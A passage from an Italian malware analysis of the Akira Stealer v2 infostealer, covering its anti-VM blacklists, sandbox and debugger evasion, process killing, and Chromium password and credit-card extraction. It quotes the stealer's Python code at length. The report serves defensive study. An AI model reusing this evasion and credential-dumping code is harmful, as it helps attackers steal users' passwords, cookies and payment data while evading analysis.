'wireshark','fiddler','ida64','x32dbg','vmtoolsd',\n  # ... dozens more ...\n  'glasswire','requestly'\n)\n",[578,5569,5570,5574,5579,5584,5588,5593,5598,5603,5608],{"__ignoreMap":529},[1704,5571,5572],{"class":1706,"line":1707},[1704,5573,4998],{},[1704,5575,5576],{"class":1706,"line":530},[1704,5577,5578],{},"def killTasks() -> None:\n",[1704,5580,5581],{"class":1706,"line":2088},[1704,5582,5583],{},"    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n",[1704,5585,5586],{"class":1706,"line":2094},[1704,5587,3873],{"emptyLinePlaceholder":325},[1704,5589,5590],{"class":1706,"line":2415},[1704,5591,5592],{},"BLACKLISTED_TASKS = (\n",[1704,5594,5595],{"class":1706,"line":2421},[1704,5596,5597],{},"  'wireshark','fiddler','ida64','x32dbg','vmtoolsd',\n",[1704,5599,5600],{"class":1706,"line":3080},[1704,5601,5602],{},"  # ... dozens more ...\n",[1704,5604,5605],{"class":1706,"line":3876},[1704,5606,5607],{},"  'glasswire','requestly'\n",[1704,5609,5610],{"class":1706,"line":3882},[1704,5611,5265],{},[525,5613,5614],{},"Questi strumenti, usati comunemente da incident responder e analisti di malware, vengono neutralizzati prima che possano raccogliere artefatti comportamentali significativi.",[525,5616,5617],{},[567,5618,5619],{},"Sintesi",[525,5621,5622],{},"Akira usa un insieme sofisticato di tecniche anti analisi che colpiscono più livelli del sistema, dalle variabili d'ambiente e dalle chiavi di registro fino alle sonde di rete e agli elenchi di task. Questi meccanismi sono pensati per individuare ed eludere sia le sandbox automatiche sia i setup di ispezione manuale.",[525,5624,5625],{},"La combinazione di fingerprinting passivo e soppressione attiva (per esempio la terminazione dei task) mostra come persino le famiglie di malware di fascia media integrino oggi logiche di evasione su più livelli.",[887,5627,5629],{"id":5628},"_7312-blacklist-complete-e-funzioni-di-rilevamento","7.3.12 Blacklist complete e funzioni di rilevamento",[525,5631,893],{},[525,5633,5634],{},[567,5635,5636],{},"UUID hardware in blacklist",[615,5638,5641],{"className":5639,"code":5640,"language":620},[618],"BLACKLISTED_UUIDS = (\n    '7AB5C494-39F5-4941-9163-47F54D6D5016',\n    '032E02B4-0499-05C3-0806-3C0700080009',\n    '03DE0294-0480-05DE-1A06-350700080009',\n    '11111111-2222-3333-4444-555555555555',\n    '6F3CA5EC-BEC9-4A4D-8274-11168F640058',\n    'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548',\n    '4C4C4544-0050-3710-8058-CAC04F59344A',\n    '00000000-0000-0000-0000-AC1F6BD04972',\n    '00000000-0000-0000-0000-000000000000',\n    '5BD24D56-789F-8468-7CDC-CAA7222CC121',\n    '49434D53-0200-9065-2500-65902500E439',\n    '49434D53-0200-9036-2500-36902500F022',\n    '777D84B3-88D1-451C-93E4-D235177420A7',\n    '49434D53-0200-9036-2500-369025000C65',\n    'B1112042-52E8-E25B-3655-6A4F54155DBF',\n    '00000000-0000-0000-0000-AC1F6BD048FE',\n    'EB16924B-FB6D-4FA1-8666-17B91F62FB37',\n    'A15A930C-8251-9645-AF63-E45AD728C20C',\n    '67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3',\n    'C7D23342-A5D4-68A1-59AC-CF40F735B363',\n    '63203342-0EB0-AA1A-4DF5-3FB37DBB0670',\n    '44B94D56-65AB-DC02-86A0-98143A7423BF',\n    '6608003F-ECE4-494E-B07E-1C4615D1D93C',\n    'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A',\n    '49434D53-0200-9036-2500-369025003AF0',\n    '8B4E8278-525C-7343-B825-280AEBCD3BCB',\n    '4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27',\n    '79AF5279-16CF-4094-9758-F88A616D81B4',\n    'FE822042-A70C-D08B-F1D1-C207055A488F',\n    '76122042-C286-FA81-F0A8-514CC507B250',\n    '481E2042-A1AF-D390-CE06-A8F783B1E76A',\n    'F3988356-32F5-4AE1-8D47-FD3B8BAFBD4C',\n    '9961A120-E691-4FFE-B67B-F0E4115D5919'\n)\n",[578,5642,5640],{"__ignoreMap":529},[525,5644,5645],{},[567,5646,5647],{},"Nomi computer in blacklist",[615,5649,5652],{"className":5650,"code":5651,"language":620},[618],"BLACKLISTED_COMPUTERNAMES = (\n    '00900BC83802', 'bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr',\n    'b30f0242-1c6a-4', 'desktop-vrsqlag', 'q9iatrkprh', 'xc64zb',\n    'desktop-d019gdm', 'desktop-wi8clet', 'server1', 'lisa-pc', 'john-pc',\n    'desktop-b0t93d6', 'desktop-1pykp29', 'desktop-1y2433r', 'wileypc',\n    'work', '6c4e733f-c2d9-4', 'ralphs-pc', 'desktop-wg3myjs',\n    'desktop-7xc6gez', 'desktop-5ov9s0o', 'qarzhrdbpj', 'oreleepc',\n    'archibaldpc', 'julia-pc', 'd1bnjkfvlh', 'compname_5076',\n    'desktop-vkeons4', 'NTT-EFF-2W11WSS'\n)\n",[578,5653,5651],{"__ignoreMap":529},[525,5655,5656],{},[567,5657,5658],{},"Account utente in blacklist",[615,5660,5663],{"className":5661,"code":5662,"language":620},[618],"BLACKLISTED_USERS = (\n    'wdagutilityaccount', 'abby', 'peter wilson', 'hmarc', 'patex',\n    'john-pc', 'rdhj0cnfevzx', 'keecfmwgj', 'frank', '8nl0colnq5bq',\n    'lisa', 'john', 'george', 'pxmduopvyx', '8vizsm', 'w0fjuovmccp5a',\n    'lmvwjj9b', 'pqonjhvwexss', '3u2v9m8', 'julia', 'heuerzl',\n    'harry johnson', 'j.seance', 'a.monaldo', 'tvm'\n)\n",[578,5664,5662],{"__ignoreMap":529},[525,5666,5667],{},[567,5668,5669],{},"Processi di strumenti di analisi in blacklist",[615,5671,5674],{"className":5672,"code":5673,"language":620},[618],"BLACKLISTED_TASKS = (\n    'fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler',\n    'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd', 'vmwaretray',\n    'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice',\n    'vmacthlp', 'x96dbg', 'vmsrvc', 'x32dbg', 'vmusrvc', 'prl_cc',\n    'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol',\n    'ksdumperclient', 'ksdumper', 'joeboxserver', 'vmwareservice',\n    'discordtokenprotector', 'glasswire', 'requestly'\n)\n",[578,5675,5673],{"__ignoreMap":529},[525,5677,5678],{},[567,5679,5680],{},"Metodi di rilevamento principali",[615,5682,5684],{"className":4513,"code":5683,"language":4515,"meta":529,"style":529},"@staticmethod\ndef checkUUID() -> bool:\n    \"\"\"WMIC hardware UUID against known VM IDs.\"\"\"\n    try:\n        raw = subprocess.run(\n            \"wmic csproduct get uuid\",\n            shell=True, capture_output=True\n        ).stdout.splitlines()[2].decode(errors='ignore').strip()\n    except:\n        raw = \"\"\n    return raw in VmProtect.BLACKLISTED_UUIDS\n\n@staticmethod\ndef checkComputerName() -> bool:\n    \"\"\"ENV %COMPUTERNAME% in VM name list.\"\"\"\n    return os.getenv(\"computername\", \"\").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES\n\n@staticmethod\ndef checkUsers() -> bool:\n    \"\"\"Current login username in VM users list.\"\"\"\n    return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS\n\n@staticmethod\ndef checkHosting() -> bool:\n    \"\"\"Query ip-api.com/hosting → 'true' indicates cloud VM.\"\"\"\n    http = PoolManager(cert_reqs=\"CERT_NONE\")\n    try:\n        return http.request(\n            'GET', 'http://ip-api.com/line/?fields=hosting'\n        ).data.decode().strip() == 'true'\n    except:\n        return False\n\n@staticmethod\ndef checkHTTPSimulation() -> bool:\n    \"\"\"\n    Attempt TLS to random subdomain.\n    Failure → possible HTTPS interception/sandbox.\n    \"\"\"\n    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n    try:\n        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n        return True\n    except:\n        return False\n\n@staticmethod\ndef checkRegistry() -> bool:\n    \"\"\"\n    Look for VirtualBox/VMware in:\n    - Registry driver entries\n    - Video card name via WMIC\n    - Presence of VM-specific folders\n    \"\"\"\n    r1 = subprocess.run(\n        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc 2\",\n        shell=True, capture_output=True\n    )\n    r2 = subprocess.run(\n        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName 2\",\n        shell=True, capture_output=True\n    )\n    gpu = any(\n        x.lower() in subprocess.run(\n            \"wmic path win32_VideoController get name\",\n            shell=True, capture_output=True\n        ).stdout.decode().splitlines()[2].lower()\n        for x in (\"virtualbox\", \"vmware\")\n    )\n    dirs = any(os.path.isdir(d) for d in ('D:\\\\Tools','D:\\\\OS2','D:\\\\NT3X'))\n    return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs\n\n@staticmethod\ndef killTasks() -> None:\n    \"\"\"Continuously terminate known analysis processes.\"\"\"\n    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n",[578,5685,5686,5690,5694,5699,5703,5707,5712,5717,5722,5726,5730,5734,5738,5742,5746,5751,5756,5760,5764,5768,5773,5778,5782,5786,5790,5795,5800,5805,5810,5816,5821,5826,5831,5836,5841,5846,5852,5858,5864,5869,5874,5879,5884,5890,5895,5900,5905,5910,5915,5920,5926,5932,5938,5944,5949,5954,5960,5966,5972,5978,5983,5988,5994,5999,6004,6010,6016,6022,6027,6033,6039,6044,6050,6056,6061,6066,6071,6077],{"__ignoreMap":529},[1704,5687,5688],{"class":1706,"line":1707},[1704,5689,4998],{},[1704,5691,5692],{"class":1706,"line":530},[1704,5693,5156],{},[1704,5695,5696],{"class":1706,"line":2088},[1704,5697,5698],{},"    \"\"\"WMIC hardware UUID against known VM IDs.\"\"\"\n",[1704,5700,5701],{"class":1706,"line":2094},[1704,5702,5161],{},[1704,5704,5705],{"class":1706,"line":2415},[1704,5706,5166],{},[1704,5708,5709],{"class":1706,"line":2421},[1704,5710,5711],{},"            \"wmic csproduct get uuid\",\n",[1704,5713,5714],{"class":1706,"line":3080},[1704,5715,5716],{},"            shell=True, capture_output=True\n",[1704,5718,5719],{"class":1706,"line":3876},[1704,5720,5721],{},"        ).stdout.splitlines()[2].decode(errors='ignore').strip()\n",[1704,5723,5724],{"class":1706,"line":3882},[1704,5725,5186],{},[1704,5727,5728],{"class":1706,"line":4128},[1704,5729,5191],{},[1704,5731,5732],{"class":1706,"line":5046},[1704,5733,5196],{},[1704,5735,5736],{"class":1706,"line":5052},[1704,5737,3873],{"emptyLinePlaceholder":325},[1704,5739,5740],{"class":1706,"line":5058},[1704,5741,4998],{},[1704,5743,5744],{"class":1706,"line":5064},[1704,5745,5226],{},[1704,5747,5748],{"class":1706,"line":5070},[1704,5749,5750],{},"    \"\"\"ENV %COMPUTERNAME% in VM name list.\"\"\"\n",[1704,5752,5753],{"class":1706,"line":5076},[1704,5754,5755],{},"    return os.getenv(\"computername\", \"\").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES\n",[1704,5757,5758],{"class":1706,"line":5082},[1704,5759,3873],{"emptyLinePlaceholder":325},[1704,5761,5762],{"class":1706,"line":5088},[1704,5763,4998],{},[1704,5765,5766],{"class":1706,"line":5094},[1704,5767,5291],{},[1704,5769,5770],{"class":1706,"line":5100},[1704,5771,5772],{},"    \"\"\"Current login username in VM users list.\"\"\"\n",[1704,5774,5775],{"class":1706,"line":5106},[1704,5776,5777],{},"    return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS\n",[1704,5779,5780],{"class":1706,"line":5112},[1704,5781,3873],{"emptyLinePlaceholder":325},[1704,5783,5784],{"class":1706,"line":5118},[1704,5785,4998],{},[1704,5787,5788],{"class":1706,"line":5124},[1704,5789,5359],{},[1704,5791,5792],{"class":1706,"line":5130},[1704,5793,5794],{},"    \"\"\"Query ip-api.com/hosting → 'true' indicates cloud VM.\"\"\"\n",[1704,5796,5798],{"class":1706,"line":5797},26,[1704,5799,5364],{},[1704,5801,5803],{"class":1706,"line":5802},27,[1704,5804,5161],{},[1704,5806,5808],{"class":1706,"line":5807},28,[1704,5809,5373],{},[1704,5811,5813],{"class":1706,"line":5812},29,[1704,5814,5815],{},"            'GET', 'http://ip-api.com/line/?fields=hosting'\n",[1704,5817,5819],{"class":1706,"line":5818},30,[1704,5820,5388],{},[1704,5822,5824],{"class":1706,"line":5823},31,[1704,5825,5186],{},[1704,5827,5829],{"class":1706,"line":5828},32,[1704,5830,5397],{},[1704,5832,5834],{"class":1706,"line":5833},33,[1704,5835,3873],{"emptyLinePlaceholder":325},[1704,5837,5839],{"class":1706,"line":5838},34,[1704,5840,4998],{},[1704,5842,5844],{"class":1706,"line":5843},35,[1704,5845,5427],{},[1704,5847,5849],{"class":1706,"line":5848},36,[1704,5850,5851],{},"    \"\"\"\n",[1704,5853,5855],{"class":1706,"line":5854},37,[1704,5856,5857],{},"    Attempt TLS to random subdomain.\n",[1704,5859,5861],{"class":1706,"line":5860},38,[1704,5862,5863],{},"    Failure → possible HTTPS interception/sandbox.\n",[1704,5865,5867],{"class":1706,"line":5866},39,[1704,5868,5851],{},[1704,5870,5872],{"class":1706,"line":5871},40,[1704,5873,5432],{},[1704,5875,5877],{"class":1706,"line":5876},41,[1704,5878,5161],{},[1704,5880,5882],{"class":1706,"line":5881},42,[1704,5883,5441],{},[1704,5885,5887],{"class":1706,"line":5886},43,[1704,5888,5889],{},"        return True\n",[1704,5891,5893],{"class":1706,"line":5892},44,[1704,5894,5186],{},[1704,5896,5898],{"class":1706,"line":5897},45,[1704,5899,5397],{},[1704,5901,5903],{"class":1706,"line":5902},46,[1704,5904,3873],{"emptyLinePlaceholder":325},[1704,5906,5908],{"class":1706,"line":5907},47,[1704,5909,4998],{},[1704,5911,5913],{"class":1706,"line":5912},48,[1704,5914,5484],{},[1704,5916,5918],{"class":1706,"line":5917},49,[1704,5919,5851],{},[1704,5921,5923],{"class":1706,"line":5922},50,[1704,5924,5925],{},"    Look for VirtualBox/VMware in:\n",[1704,5927,5929],{"class":1706,"line":5928},51,[1704,5930,5931],{},"    - Registry driver entries\n",[1704,5933,5935],{"class":1706,"line":5934},52,[1704,5936,5937],{},"    - Video card name via WMIC\n",[1704,5939,5941],{"class":1706,"line":5940},53,[1704,5942,5943],{},"    - Presence of VM-specific folders\n",[1704,5945,5947],{"class":1706,"line":5946},54,[1704,5948,5851],{},[1704,5950,5952],{"class":1706,"line":5951},55,[1704,5953,5489],{},[1704,5955,5957],{"class":1706,"line":5956},56,[1704,5958,5959],{},"        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n",[1704,5961,5963],{"class":1706,"line":5962},57,[1704,5964,5965],{},"        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc 2\",\n",[1704,5967,5969],{"class":1706,"line":5968},58,[1704,5970,5971],{},"        shell=True, capture_output=True\n",[1704,5973,5975],{"class":1706,"line":5974},59,[1704,5976,5977],{},"    )\n",[1704,5979,5981],{"class":1706,"line":5980},60,[1704,5982,5504],{},[1704,5984,5986],{"class":1706,"line":5985},61,[1704,5987,5959],{},[1704,5989,5991],{"class":1706,"line":5990},62,[1704,5992,5993],{},"        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName 2\",\n",[1704,5995,5997],{"class":1706,"line":5996},63,[1704,5998,5971],{},[1704,6000,6002],{"class":1706,"line":6001},64,[1704,6003,5977],{},[1704,6005,6007],{"class":1706,"line":6006},65,[1704,6008,6009],{},"    gpu = any(\n",[1704,6011,6013],{"class":1706,"line":6012},66,[1704,6014,6015],{},"        x.lower() in subprocess.run(\n",[1704,6017,6019],{"class":1706,"line":6018},67,[1704,6020,6021],{},"            \"wmic path win32_VideoController get name\",\n",[1704,6023,6025],{"class":1706,"line":6024},68,[1704,6026,5716],{},[1704,6028,6030],{"class":1706,"line":6029},69,[1704,6031,6032],{},"        ).stdout.decode().splitlines()[2].lower()\n",[1704,6034,6036],{"class":1706,"line":6035},70,[1704,6037,6038],{},"        for x in (\"virtualbox\", \"vmware\")\n",[1704,6040,6042],{"class":1706,"line":6041},71,[1704,6043,5977],{},[1704,6045,6047],{"class":1706,"line":6046},72,[1704,6048,6049],{},"    dirs = any(os.path.isdir(d) for d in ('D:\\\\Tools','D:\\\\OS2','D:\\\\NT3X'))\n",[1704,6051,6053],{"class":1706,"line":6052},73,[1704,6054,6055],{},"    return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs\n",[1704,6057,6059],{"class":1706,"line":6058},74,[1704,6060,3873],{"emptyLinePlaceholder":325},[1704,6062,6064],{"class":1706,"line":6063},75,[1704,6065,4998],{},[1704,6067,6069],{"class":1706,"line":6068},76,[1704,6070,5578],{},[1704,6072,6074],{"class":1706,"line":6073},77,[1704,6075,6076],{},"    \"\"\"Continuously terminate known analysis processes.\"\"\"\n",[1704,6078,6080],{"class":1706,"line":6079},78,[1704,6081,5583],{},[887,6083,6085],{"id":6084},"_7313-logica-di-esecuzione-e-interruzione","7.3.13 Logica di esecuzione e interruzione",[525,6087,893],{},[2102,6089,6090,6104,6117],{},[633,6091,6092,6095,6096,6099,6100,6103],{},[567,6093,6094],{},"Inizializzazione:"," all'interno del costruttore ",[578,6097,6098],{},"Akira.__init__()"," il malware invoca immediatamente ",[578,6101,6102],{},"VmProtect.isVM(1)"," per eseguire controlli di virtualizzazione rapidi e a basso costo (per esempio hostname, utente, simulazione HTTPS).",[633,6105,6106,6109,6110,6113,6114,6116],{},[567,6107,6108],{},"Ispezione approfondita:"," se il test iniziale passa, chiama ",[578,6111,6112],{},"VmProtect.isVM(2)",", che attiva controlli più completi, tra cui la validazione dell'UUID hardware, il rilevamento dell'hosting tramite ",[578,6115,5344],{}," e la scansione degli artefatti di registro.",[633,6118,6119,6122,6123,6125,6126,6128],{},[567,6120,6121],{},"Percorso di interruzione:"," se qualunque controllo restituisce ",[578,6124,4689],{},", indicando un ambiente virtuale o di analisi, il codice esegue ",[578,6127,4693],{}," e termina l'esecuzione prima di qualsiasi routine di raccolta o esfiltrazione dei dati.",[887,6130,6132],{"id":6131},"_7314-conclusione","7.3.14 Conclusione",[525,6134,893],{},[525,6136,6137,6138,6140,6141,6143],{},"Il modulo ",[578,6139,4635],{}," di ",[4648,6142,677],{}," mostra una difesa a strati contro l'analisi, che sfrutta sia le impronte del sistema locale sia euristiche basate sulla rete. Comprendendo e strumentando questi controlli precisi, i difensori possono ribaltare la situazione e rilevare malware evasivo di questo tipo negli ambienti operativi.",[740,6145,6147],{"id":6146},"_74-esfiltrazione-dei-dati-del-browser","7.4 Esfiltrazione dei dati del browser",[525,6149,746],{},[525,6151,6152,6153,6156,6157,6160],{},"Uno degli obiettivi centrali di Akira Stealer v2 è l'estrazione su larga scala dei dati sensibili memorizzati nel browser. Il malware implementa moduli dedicati ai browser ",[567,6154,6155],{},"basati su Chromium"," e a quelli ",[567,6158,6159],{},"basati su Gecko (Firefox)",". Tra le sue capacità ci sono l'estrazione e la decifratura di password salvate, cookie, dati delle carte di credito, voci di compilazione automatica e persino token di sessione, riutilizzabili per un takeover completo dell'account.",[525,6162,6163],{},[567,6164,6165],{},"1. Predisposizione dell'area di lavoro",[615,6167,6169],{"className":4513,"code":6168,"language":4515,"meta":529,"style":529},"client_dir = Utils.get_temp_folder()  # e.g., C:\\Windows\\Temp\\DESKTOP-1234\nos.makedirs(client_dir, exist_ok=True)\nfor sub in (\"Passwords\",\"Cookies\",\"CreditCards\",\"History\",\"Autofill\",\"Wallets\"):\n    os.makedirs(os.path.join(client_dir, sub), exist_ok=True)\n",[578,6170,6171,6176,6181,6186],{"__ignoreMap":529},[1704,6172,6173],{"class":1706,"line":1707},[1704,6174,6175],{},"client_dir = Utils.get_temp_folder()  # e.g., C:\\Windows\\Temp\\DESKTOP-1234\n",[1704,6177,6178],{"class":1706,"line":530},[1704,6179,6180],{},"os.makedirs(client_dir, exist_ok=True)\n",[1704,6182,6183],{"class":1706,"line":2088},[1704,6184,6185],{},"for sub in (\"Passwords\",\"Cookies\",\"CreditCards\",\"History\",\"Autofill\",\"Wallets\"):\n",[1704,6187,6188],{"class":1706,"line":2094},[1704,6189,6190],{},"    os.makedirs(os.path.join(client_dir, sub), exist_ok=True)\n",[630,6192,6193,6200,6203,6206,6209],{},[633,6194,6195,6196],{},"Crea un'area di staging usa e getta sotto la directory temp del sistema, chiamata come la macchina della vittima (%TEMP%\\DESKTOP-",[6197,6198,6199],"hostname",{},"), così tutti gli artefatti esfiltrati si concentrano in un'unica posizione facile da archiviare.",[633,6201,6202],{},"Isola i dati per tipo: sei sottocartelle dedicate (Passwords, Cookies, CreditCards, History, Autofill, Wallets) evitano collisioni di nomi e semplificano la successiva creazione dello ZIP, perché ogni routine di estrazione scrive solo nella propria cartella.",[633,6204,6205],{},"La creazione idempotente delle directory usa exist_ok=True, così se il malware viene eseguito di nuovo (per esempio al riavvio o per persistenza) non va in crash e non sovrascrive i dati esistenti: i nuovi elementi si aggiungono semplicemente alla stessa struttura.",[633,6207,6208],{},"Agevola una pulizia selettiva: completati upload e notifica, lo stealer può chiamare Utils.clear_client_folder() per cancellare in modo ricorsivo solo la propria area di lavoro, senza lasciare file residui.",[633,6210,6211],{},"Prepara il terreno per i thread di estrazione paralleli: creando in anticipo tutte le destinazioni, i thread in background che raccolgono credenziali del browser, cookie, dati di compilazione automatica, dati dei wallet di criptovalute e altro possono scrivere i risultati subito, senza controlli aggiuntivi, riducendo l'overhead e la finestra in cui gli hook difensivi possono accorgersi di operazioni di I/O impreviste.",[525,6213,6214],{},[567,6215,6216],{},"2. Browser supportati",[630,6218,6219,6262],{},[633,6220,6221,6224],{},[567,6222,6223],{},"Basati su Chromium",[630,6225,6226,6229,6232,6235,6238,6241,6244,6247,6250,6253,6256,6259],{},[633,6227,6228],{},"Google Chrome (Stable e SxS)",[633,6230,6231],{},"Microsoft Edge",[633,6233,6234],{},"Brave Browser",[633,6236,6237],{},"Opera e Opera GX",[633,6239,6240],{},"Chromium",[633,6242,6243],{},"Comodo Dragon",[633,6245,6246],{},"Epic Privacy Browser",[633,6248,6249],{},"Iridium Browser",[633,6251,6252],{},"UR Browser",[633,6254,6255],{},"Vivaldi Browser",[633,6257,6258],{},"Yandex Browser",[633,6260,6261],{},"Slimjet, Amigo, Torch, Kometa, Orbitum, CentBrowser, 7Star, Sputnik, Uran",[633,6263,6264,6267,6268,1138,6271,6282,6284,6285,6294,6296,6297,646,6300,6303],{},[567,6265,6266],{},"Basati su Firefox"," (tramite ",[578,6269,6270],{},"GeckoDriver",[630,6272,6273,6276,6279],{},[633,6274,6275],{},"Mozilla Firefox",[633,6277,6278],{},"Waterfox",[633,6280,6281],{},"Pale Moon",[724,6283],{},"Akira individua dinamicamente i profili utente usando variabili d'ambiente e strutture di directory ben conosciute:",[615,6286,6288],{"className":4513,"code":6287,"language":4515,"meta":529,"style":529},"user_path = os.path.join(os.getenv(\"LOCALAPPDATA\"), \"Google\", \"Chrome\", \"User Data\")\n",[578,6289,6290],{"__ignoreMap":529},[1704,6291,6292],{"class":1706,"line":1707},[1704,6293,6287],{},[724,6295],{},"Cerca in modo ricorsivo i profili browser disponibili (per esempio ",[578,6298,6299],{},"Default",[578,6301,6302],{},"Profile 1"," e simili) e prende di mira i database SQLite presenti in quei percorsi.",[887,6305,6307],{"id":6306},"_741-tipi-di-dati-estratti","7.4.1 Tipi di dati estratti",[525,6309,893],{},[1417,6311,4703,6312],{},[1433,6313,6314,4703,6327,4703,6340,4703,6353,4703,6365,4703,6377,4703,6388],{},[1423,6315,4708,6316,4708,6320,4708,6324,4703],{},[1426,6317,6319],{"style":6318},"text-align: left; width: 22%;","Tipo di dato",[1426,6321,6323],{"style":6322},"text-align: left; width: 28%;","File di origine",[1426,6325,6326],{},"Note",[1423,6328,4708,6329,4708,6332,4708,6337,4703],{},[1438,6330,6331],{},"Password salvate",[1438,6333,6334,6336],{},[578,6335,584],{}," (Chromium)",[1438,6338,6339],{},"Decifrate tramite DPAPI o AES-GCM (da Chromium v80 in poi)",[1423,6341,4708,6342,4708,6345,4708,6350,4703],{},[1438,6343,6344],{},"Cookie",[1438,6346,6347],{},[578,6348,6349],{},"Cookies",[1438,6351,6352],{},"Possono contenere token di sessione, in particolare per account Google e Facebook",[1423,6354,4708,6355,4708,6358,4708,6362,4703],{},[1438,6356,6357],{},"Dati di compilazione automatica",[1438,6359,6360],{},[578,6361,588],{},[1438,6363,6364],{},"Indirizzi, email, numeri di telefono e simili",[1423,6366,4708,6367,4708,6370,4708,6374,4703],{},[1438,6368,6369],{},"Carte di credito",[1438,6371,6372],{},[578,6373,588],{},[1438,6375,6376],{},"Cifrate, richiedono la master key",[1423,6378,4708,6379,4708,6382,4708,6385,4703],{},[1438,6380,6381],{},"Token di sessione",[1438,6383,6384],{},"In memoria e cookie",[1438,6386,6387],{},"Comprende Gmail, account Google e il replay di OAUTH Discord",[1423,6389,4708,6390,4708,6393,4708,6401,4703],{},[1438,6391,6392],{},"Cronologia e URL",[1438,6394,6395,646,6398],{},[578,6396,6397],{},"History",[578,6399,6400],{},"Visited Links",[1438,6402,6403],{},"Anch'essi esfiltrati verso l'attaccante",[852,6405],{"className":6406},[855,856],[525,6408,6409,6412],{},[567,6410,6411],{},"3. Moduli di estrazione","\nQuando gli autori di malware prendono di mira i browser, i loro tesori principali sono i vari database SQLite in cui Chrome, Firefox e affini memorizzano credenziali, cookie, cronologia e voci di compilazione automatica. astor.py intreccia Python leggero e API native per prelevare metodicamente ogni frammento di dato, arrivando anche a replicare sessioni OAuth attive, senza lasciare tracce. Segue una panoramica approfondita modulo per modulo, presa letteralmente dal codice.",[887,6414,6416,6417,1138],{"id":6415},"_742-dumper-delle-password-chromiumgetpasswords","7.4.2 Dumper delle password (",[578,6418,6419],{},"Chromium.GetPasswords",[525,6421,893],{},[525,6423,6424],{},"Questo modulo passa sistematicamente in rassegna tutti i profili dei browser basati su Chromium per estrarre le credenziali di accesso salvate. Puntando al database SQLite Login Data, recupera nomi utente e password cifrate, poi usa la chiave di cifratura della piattaforma (ottenuta tramite DPAPI o AES-GCM) per decifrarle in chiaro. Queste credenziali sono di grande valore per il movimento laterale post compromissione o per il takeover degli account.",[615,6426,6428],{"className":4513,"code":6427,"language":4515,"meta":529,"style":529},"for root, _, files in os.walk(self.BrowserPath):\n    for file in files:\n        if file.lower() == \"login data\":\n            # Copy DB → open → extract rows\n            results = cursor.execute(\n                \"SELECT origin_url, username_value, password_value FROM logins\"\n            ).fetchall()\n            for url, user, pwd_blob in results:\n                clear_pwd = self.Decrypt(pwd_blob, encryptionKey)\n                passwords.append((url, user, clear_pwd))\n",[578,6429,6430,6435,6440,6445,6450,6455,6460,6465,6470,6475],{"__ignoreMap":529},[1704,6431,6432],{"class":1706,"line":1707},[1704,6433,6434],{},"for root, _, files in os.walk(self.BrowserPath):\n",[1704,6436,6437],{"class":1706,"line":530},[1704,6438,6439],{},"    for file in files:\n",[1704,6441,6442],{"class":1706,"line":2088},[1704,6443,6444],{},"        if file.lower() == \"login data\":\n",[1704,6446,6447],{"class":1706,"line":2094},[1704,6448,6449],{},"            # Copy DB → open → extract rows\n",[1704,6451,6452],{"class":1706,"line":2415},[1704,6453,6454],{},"            results = cursor.execute(\n",[1704,6456,6457],{"class":1706,"line":2421},[1704,6458,6459],{},"                \"SELECT origin_url, username_value, password_value FROM logins\"\n",[1704,6461,6462],{"class":1706,"line":3080},[1704,6463,6464],{},"            ).fetchall()\n",[1704,6466,6467],{"class":1706,"line":3876},[1704,6468,6469],{},"            for url, user, pwd_blob in results:\n",[1704,6471,6472],{"class":1706,"line":3882},[1704,6473,6474],{},"                clear_pwd = self.Decrypt(pwd_blob, encryptionKey)\n",[1704,6476,6477],{"class":1706,"line":4128},[1704,6478,6479],{},"                passwords.append((url, user, clear_pwd))\n",[630,6481,6482,6495,6501,6509,6527],{},[633,6483,6484,6487,6488,6490,6491,6494],{},[567,6485,6486],{},"Individua"," ogni database SQLite ",[578,6489,584],{}," sotto la cartella ",[578,6492,6493],{},"User Data"," del browser.",[633,6496,6497,6500],{},[567,6498,6499],{},"Copia"," su un file temporaneo per evitare i lock del browser.",[633,6502,6503,998,6506,613],{},[567,6504,6505],{},"Query SQL",[578,6507,6508],{},"SELECT origin_url, username_value, password_value FROM logins",[633,6510,6511,6514,6515,6518,6519,6522,6523,6526],{},[567,6512,6513],{},"Decifra"," ogni blob ",[578,6516,6517],{},"password_value"," tramite AES‑GCM (",[578,6520,6521],{},"v10","/",[578,6524,6525],{},"v11",") o con il fallback su Windows DPAPI.",[633,6528,6529,6532,6533,613],{},[567,6530,6531],{},"Scrive"," l'output in ",[578,6534,6535],{},"Passwords/\u003CBrowserName> Passwords.txt",[887,6537,6539,6540,1138],{"id":6538},"_743-dumper-delle-carte-di-credito-chromiumgetcreditcards","7.4.3 Dumper delle carte di credito (",[578,6541,6542],{},"Chromium.GetCreditCards",[525,6544,893],{},[525,6546,6547],{},"Qui lo stealer accede ai dati delle carte di credito memorizzati nel file Web Data di ogni profilo del browser. Si concentra sull'estrazione dei dati di scadenza e dei numeri di carta cifrati, che vengono poi decifrati con la stessa logica usata per le password. Anche se i codici CVV in genere non sono memorizzati, le informazioni recuperate possono comunque essere usate per frodi 